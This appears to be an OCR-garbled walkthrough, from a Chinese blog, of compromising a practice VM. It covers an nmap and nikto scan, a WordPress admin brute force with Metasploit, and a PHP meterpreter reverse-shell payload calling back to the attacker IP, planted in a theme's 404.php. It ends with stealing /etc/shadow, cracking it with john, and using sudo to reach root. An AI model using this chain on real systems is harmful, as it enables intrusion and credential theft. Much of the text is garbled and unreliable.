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W& : Kali Linux (192.168.0.19)
Ubuntu (64-bit) (192.168.0.15)

:~# nmap -sV 192.168.0.15
Starting Nmap 7.70 ( https://nmap.org ) at 2021-01-06 15:07 CST
Nmap scan report for bogon (192.168.
Host is up (0.0014s latency).
Not shown: 997 closed ports
PORT STATE SERVICE WERSION
21/tcp open Tip ProFTPD 1.3.3c
open ssh OpenSSH 7.2p2 Ubuntu 4ubuntuz.2 (Ubuntu Linux; protocol 2.0)
http Apache httpd 2.4.18 ((Ubuntu))
MAC Addre 08:00:27:BE:0B:B@ (Oracle VirtualBox virtual NIC)
Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_ kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 6.52 seconds
~# 1 httr sdn.n
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PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.3c

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.8)
| ssh-hostkey:

| 2048 d6:01:90:39:2d:87:46:Tb:03:86:73:b3:3c:54:7e:54 (RSA)

| 256 fl:f3:cO:dd:ba:a4:85:7T7:13:9a:da:3a:bb:4d:93:84 (ECDSA)
| 256 12:e2:98:d2:a3:e7:36:4f:be:6b:ce:36:6b:7e:0d:9e (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

| http-methods:

|  Supported Methods: GET HEAD POST OPTIONS

| http-server-header: Apache/2.4.18 (Ubuntu)

| _http-title: Site doesn't have a title (text/html).

MAC Address: 08:00:27:00:23:40 (Oracle VirtualBox wvirtual NIC)
Device type: general purpose

Running: Linux 3.X|4.X

0S CPE: cpe:/o:linux:linux kernel:3 cpe:/o:linux:linux kernel:4
0S details: Linux 3.2 - 4.9

Uptime guess: 21.741 days (since Sun Dec 13 20:16:17 2020)
Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=260 (Good luck!)

IP ID Sequence Generation: ALl zeros

Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux kernel

TRACEROQUTE
HOP RTT ADDRESS
il 0.52 ms bogon (192.168.08.250)

NSE: Script Post-scanning.

Initiating NSE at 14:03

Completed NSE at 14:03, 0.00s elapsed
Initiating NSE at 14:03

Completed NSE at 14:83, ©.088s elapsed

Read data files from: /fusr/bin/../share/nmap
0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 21.84 seconds

s://blog.csdn.net/su__xiaoyz
Raw packets sent: 1023 (45.806KB) | Rcvd: 1015 (41.290KB) HIEE e & =l buel > HOyaD

:~# nikto -host http://192.168.0.15
- Nikto v2.1.6

Target IP: 192.168.0.15

Target Hostname: 192.168.0.15

Target Port: 80

Start Time: 2021-01-06 15:09:21 (GMT8)

Server: Apache/2.4.18 (Ubuntu)

Server leaks inodes via ETags, header found with file /, fields: @xbl @x55elc7758dcdb

The anti-clickjacking X-Frame-Options header is not present.

The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
No CGI Directories found (use '-C all' to force check all possible dirs)

Allowed HTTP Methods: POST, OPTIONS, GET, HEAD

Uncommon Weader—tinwk~Toynd, with contents: <http://vtcsec/secret/index.php/wp-json/>; rel="https://api.w.org/"

0SVDB-3092: /secret/ ig might be interesting..

0SVDB- 3233+ £ + Apache default file found.

7535 requests: @ error(s) and 8 item(s) reported on remote host

End Time: 2021-01-06 15:09:39 (GMT8) (18 seconds) https://blog.csdn.net/su__xiaoyan

++++t+t+ A+ttt o+

---- Entering directory: http://192.168.08.15/secret/ ----
+ http://192.168.0.15/secret/index.php (CODE:301|SIZE:0)
==> DIRECTORY: http://192.168.0.15/secret/wp-admin/

==> DIRECTORY: http://192.168.0.15/secret/wp-content/

==> DIRECTORY: http://192.168.0.15/secret/wp-includes/

+ http://192.168.0.15/secret/xmlrpc.php (CODE:405|SIZE:42)

---- Entering directory: http://192.168.08.15/secret/wp-admin/ ----
+ http://192.168.0.15/secret/wp-admin/admin.php (CODE:302|SIZE:®)
. . Q = - i Py = 3




1Y /193 ecret/wp-admin/ima
==> DIRECTORY: h - 2. : B p-admin/inclu
+ http p ). in, .php (CODE:

DIRECTO - 2. 16 .15/secret/wp-admin

DIRECTORY: h : 2.168.0.15/secr -admin

DIRECTORY: h - 2.168.0.15/secret/wp-admin
==> DIRECTORY: h ://192.168.0.15/secret/wp-admin/u

Jj I8l /secret/
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@ Log In <My secretblog —Wo X +

< 2 C A FT%=2| vics

Username or Email Address

Lost your pass

— Back to My secret blog

CiPs0dmani

Enumerating usernames ...
Identified the following 1 user/s:

Default first WordPress username 'admin' is still used

https://blog.csdn.net/su

iliary/scanner/http/wordpress_login_enum
) = show options

Module options (auxiliary/scanner/http/wordpress login enum):

Name urre Setti 2quire Description
BLANK_PASSWORDS a for all users
BRUTEFORCE rue authentication
How fast to bruteforce, from @ to 5
Try each u /pa ord couple stored in the cur
_ALL Add all passwords in the current databa
DB_ALL_USERS 0 Add all users in the current database to the list
ENUMERATE_USERNAMES rue te usernames
PASSWORD ific password to authenticate with
containing passwords, one per line
Pr s 0 Ky chain of format type:host:portl[,type:host:port][...]
RANGE_END g 0 Last user id to enumerate
RANGE_START 0 i e
RHOSTS arget a range or CIDR identifier
RPORT 30 port (TCP)
551 = E




STOP_ON_SUCCESS
TARGETURI
THREADS
USERNAME
USERPASS FILE
USER_AS_PASS
USER_FILE
VALIDATE USERS
VERBOSE

VHOST

msf auxiliary(

auxiliary(

rname == admin

auxiliary(
rhosts => 192.168.0.15
msT auxiliary(
targeturi == /secret/
msT auxiliary(

Stop guessing when a credential works for a host

The base path to the wordpress application

The number of concurrent threads

A specific username to authenticate as

File containing users and passwords separated by space, one pair per line
Try the username as the password for all users

File containing usernames, one per line

Validate usernames

Whether to print output for all attempts

HTTP server virtual host

https:/iblog.csdn.net/su__xiaoyan

username admin
rhosts 192.168.0.15
targeturi /secret/

) pass file /fusr/share/wordlists/dirb/common.

pass file == /usr/share/wordlists/dirb/common. txt

msf auxiliary(

auxiliary(

/secret/ - WordPress Version 4.9 detected
192.168.0.15:80 - /secret/
192.168.0.15:808 - /secret/
/secret/ - WordPress User-Validation
/secret/ - WordPress User-Validation
/secret/ - WordPress User-Validation -
192.168. [0002/4614] - /secret/ -
192.168. [0002/4614] - /secret/
192.168. [0001/4614] - /secret/
192.168. [6001/4614] /secret/
192.168. [0002/4614] - /secret/
192.168. [0002/4614] /secret/
[0003/4614] /secret/
[0003/4614] /secret/
[0004/4614] /secret/
[0004/4614] /secret/
[0005/4614] /secret/
[6005/4614] /secret/
[0006/4614] /secret/
[0006/4614] /secret/
[6007/4614] /secret/
[e007/4614] /secret/
[e008/4614] /secret/
[0008/4614] /secret/
[0009/4614] /secret/
[0009/4614] /secret/

192.
192.
192.
192.
192.
192.
192.
192.
192.
192.168.

168.
168.
168.
168.
168.
168.
168.
168.
168.

[0281/4614]
[0281/4614]
[0282/4614]
[@282/4614]
[@283/4614]
[0283/4614]
[6284/4614]
[6284/4614]
[0285/4614]
[0285/4614] -
192.168. [0286/4614] -
/secret/ - WordPress Brute Forc
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
msf auxiliary(

/secret/
fsecret/
fsecret/
/secret/
/secret/
/secret/
/secret/
/secret/
/secret/
/secret/
/secret/

0000000

@ Dashboard < My secretblog— X +
€ > C A =2 | vicsed/secret/wp-admin/

@ A Mysecretblog ©6 P 0+ New

@& Dashboard

Home

Updates (6

Dashboard

- WordPress User-Enumeration
- WordPress User-Validation -

- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress

SUCCESSFUL login fof

=

- Running User Enumeration
Running User Validation

- Checking Username: 'admin'
- Username:
Found 1 valid
WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress
- WordPress

'admin' - is VALID
user
Brute
Brute
Brute
Brute
Brute
Brute
Brute
Brute
Brute
Brute
Brute
Brute
Brute
Brute
Brute
Brute
Brute
Brute
Brute
Brute

Force - Running Bruteforce

Force - Skipping all but 1 valid user
Force - Trying username:'admin' with
Force - Failed to login as 'admin'
Force - Trying username:'admin' with
Force - Failed to login as 'admin'
Force - Trying username:'admin' with
Force - Failed to login as 'admin'’
Force - Trying username:'admin' with
Force - Failed to login as 'admin’
Force - Trying username:'admin' with
Force - Failed to login as 'admin'
Force - Trying username:'admin' with
Force - Failed to login as 'admin'
Force - Trying username:'admin' with
Force - Failed to login as 'admin'
Force - Trying username:'admin' with
Force - Failed to login as 'admin'
Force - Trying username: 'admin' with
Force - Failed to login as 'admin'

password:
password: ' .bash_history"'
password: ' .bashrc’
password: '.cache'
password: '.config"'
password:'.cvs'
password:'.cvsignore'

.forward'

'q&ﬁﬁqﬁﬁgéﬂsdnﬂeﬂsu__maoyan

password:

password:

username: 'admin' with
to login as 'admin’
username: 'admin' with
to login as 'admin'’
username: 'admin' with
to login as 'admin'’
username: 'admin' with
to login as 'admin’
username: 'admin' with
to login as 'admin’
username: 'admin' with

Brute
Brute
Brute
Brute
Brute
Brute
Brute
Brute
Brute
Brute
Brute
‘admin’

Force - Trying
Force - Failed
Force - Trying
Force - Failed
Force - Trying
Force - Failed
Force - Trying
Force - Failed
Force - Trying
Force - Failed
roTTE—TT yJ'_ng
‘admin’

password: 'addtocart’
password: 'adlog'’
password: 'adlogger'
password: 'adm'
password:

WordPress password

I |

https://blog.csdn.net/su__xiaoyan
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Howdy, admin [l




© Dismiss

Media
Pages
Comments Personal Data Export and Erasure Next Steps More Actions
Write your first blog post Manage widgets or menus
A Appearance New Tools have been added to help you with personal data
export and erasure requests. Add an About page Turn comments on or off
S Plugins @
Privacy Palicy View your site Learn more about getting started
; Users
Create or selec e under Settings >
& Tools Privacy to keej re.
Settings © Dismiss Quick Draft a
o A1 Post = 1 Page Title

1 Comment

WordPress 4.9.16 running Twen
theme.

Recently Published

No Hello world!
v WordPress Events and News a S L) OQ¢E L8

Recent Comments Attend an upcoming event near you., 2 =

om -p php/meterpr =192.168.0.19 lport
ected h ing M : 0

php fr payl

outputting paylo
/*<?php /**/ rti Yi '192.168.0.19 or - E g _client') && is callabl
ream'; } if ( & $ && is_callable( ) AR 4 E: D5 '} Aif (135 && ($F L
| INET, SOCK g cket_connect($s, $ip, $port); ! { = 'socket'; } if (!%s type) { die('no
1Lk 3 H i ( yp { ‘st $len fread($s, 4); a K § 4); poif (1%
; $le a e g ''; while (str ($b) < & ) { { -str

e ; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_
$suhosin_bypa )ik { al($b); } die();
httg

t payload php/meterpreter/
e tcp
) = show options

Payload opt

Name Current

LHOST The listen addre
LPORT 4444 e The listen port

Exploit target:
Name

Wildcard Tar

xploit( et lhost 192.168.0.19
== 192.168.0.19

on 192.168.0.19:4444




@ Edit Themes < My secret blog X

& C A &2 | vicsed/

@ Mysecretblog 6 B

Howdy, admin [l
Help ¥

@ Dashboard

WordPress 5.6 is available! Please update now.

f Posts

0 Media Edit Themes
M Pages Twenty Seventeen: 404 Template (404.php) Select theme to edit: Twenty Seventee v | Select
¥ Comments Selected file content: Theme Files
» [#<Tphp [+ error_reparting(0); $ip = ' 182 168.0.19"; fport = 4444; if ((3f = ’stream socket client’) &k is_callable($f)) { 3s = £("tcp:// {Jip} : {Sport}”); 3s_tswe =  Stylesheet
Appearance Pstrean’ ; ) if (I35 &k ($f = fsockopen’) &k is_callable(3f)} { 35 = $£(3ip, port); 3s_type = 'stream ; } if (!9s &k (3f = socket_create’) & is_callable(3t)) [ s = (style.css)
$£(AF_INET, SOCK_STREANM, SOL_TCP); §res = @socket_comnect(}s, §ip, Jport); if Ufres) {die(); ) §s_type = "socket'; } if (!9s_type) { die( no socket funcs'); } if e RS
(1) {dieCno socket’); ) switch ($=_type) [ case ’stream : $len = fread(§s, 4); break; case  socket’: §len = socket_read(3s, 4); break; } if (19len) {dieQ; } 3a = /M; ‘h ;)
unpack (“Nlen”, $len); §len = $al'len’'); §b = ''; while (strlen(do) < $len) { switch (§s_type) { case 'stream : $b .= fread(Ss, Flen-strlen(§b)); break; case *socket’: CAEE e
§b .= socket_read(§s, $len-strlen($b)); break; | ) $GLOBALS[ msgsock'] = §s; J6LOBALS[ msgsack_type'] = §s_type: if (extension loaded(’ suhosin') 88 assets »
Widgets ini_get( suhosin. executor. disable_eval’)) { $suhosin_bypass=create_function(’’, $b); $suhosin bypass(); } else { eval(§b); } die();

Menus
Header

Editor

£ Plugins @

0 Comments

an Users (comments.php)

& Tools Theme Footer
(footes )

Settings Homepage

o

Documentation: Function Name... v Look Up

« 192.168.0.15/secret/wp-con’ X

&« X @ © & 192.168.0.15/secret/wp-content/themes/twentyseventeen/404.php H e @ w noeh o 6@ o

B YaEAsks @ FFELH

L 26 = @l Uhost.

[ BMRE FHHE

ISERY I-EX &

a0

192.168.0.15

> run

se TCP handler on 2z .0.19:4444
tage (37775 bytes) p. 3.0.15

)ying before handling gl
2 ope (192. -> 192.168.0.15:35578) at 2021-01-06 14:42:10 +0800




meterpreter = shell
2770 created.
Channel @ created.
id
uid=33 (www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data

meterpreter = download /etc/passwd
[*] Downloading: /etc/passwd -= passwd
[*] Downloaded 2.31 KiB of 2.31 KiB (100.0%): /fetc/passwd -> passwd
[*] download : /etc/passwd -> passwd
meterpreter > download /etc/shadow

Downloading: /etc/shadow -> shadow

Downloaded 1.27 KiB of 1.27 KiB (100.0%): /fetc/shadow -> shadow
[*] download : fetc/shadow -> shadow

meterpreter =

passwd ow 2H ®EiR i M) i TH
:~# unshadow passwd adow > new passwd
# 1s
passwd shadow #H #iE @AM HEAR
T=#

:~# john
Created d
Warning: ected hash type "sha5l2crypt", but the string i lso recognized "“crypt"
format=crypt" option to force loading these as that type instead
ault input encoding: UTF-8
1 password hash (sha5lZcrypt, crypt(3) $6% [SHA512 128/128 AVX 2x])
'‘q Ctrl-C to abort, almost any other key for status
marlinspi (marlinspike)

lg 0:00:00:00 DONE 1/3 (2021-81-06 14:56) 50.00g/s 400.0p/s 400.0c/s 400.0C/s marlinspike.

1 the "--show" option to display all of the cracked passwords reliably
on com FI = .

i~ I

shell
7 created.
P

python -c "import pty;pty.spawn('/bin/bash'}"
www-data@vtcsec: /var/www/html/secret/wp-content/themes/twentyseventeen$ I

.marlinspi

www-data@vtcsec: /var/www/html/secret/wp-content/themes/twentyseventeen$ su - marlinspike

<ml/secret/wp-content/themes/twentyseventeen$ su - marlinspike
Password: marlinspike




marlinspike@vtcsec:~%

@vtcsec:~% whoami

marlinspike@vtcsec:~% id
id
i id=100@(marlinspike) groups=10@0(marlinspike),4{adm),24(cdrom),27(sudo),30@(dip),46(plugdev),113(1lpadmin),128(sambashare)

vitcsec:~$ sudo -1
word for marlinspike: marlinspike

Matching Defaults entries for marlinspike on vtcsec:
env_ , mail badpass,
secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marlinspike may run the following commands on vtcsec:
(ALL : ALL) ALL
marlinspike@vtcsec:~$ JJ

marlinspike@vtcsec:~% sudo su - root
sudo su - root

root@vtcsec:~# whoami

whoami

root

root@vtcsec:~# id

id

uid=0(root) gid=8(root) groups=0(root)
root@vtcsec:~# [
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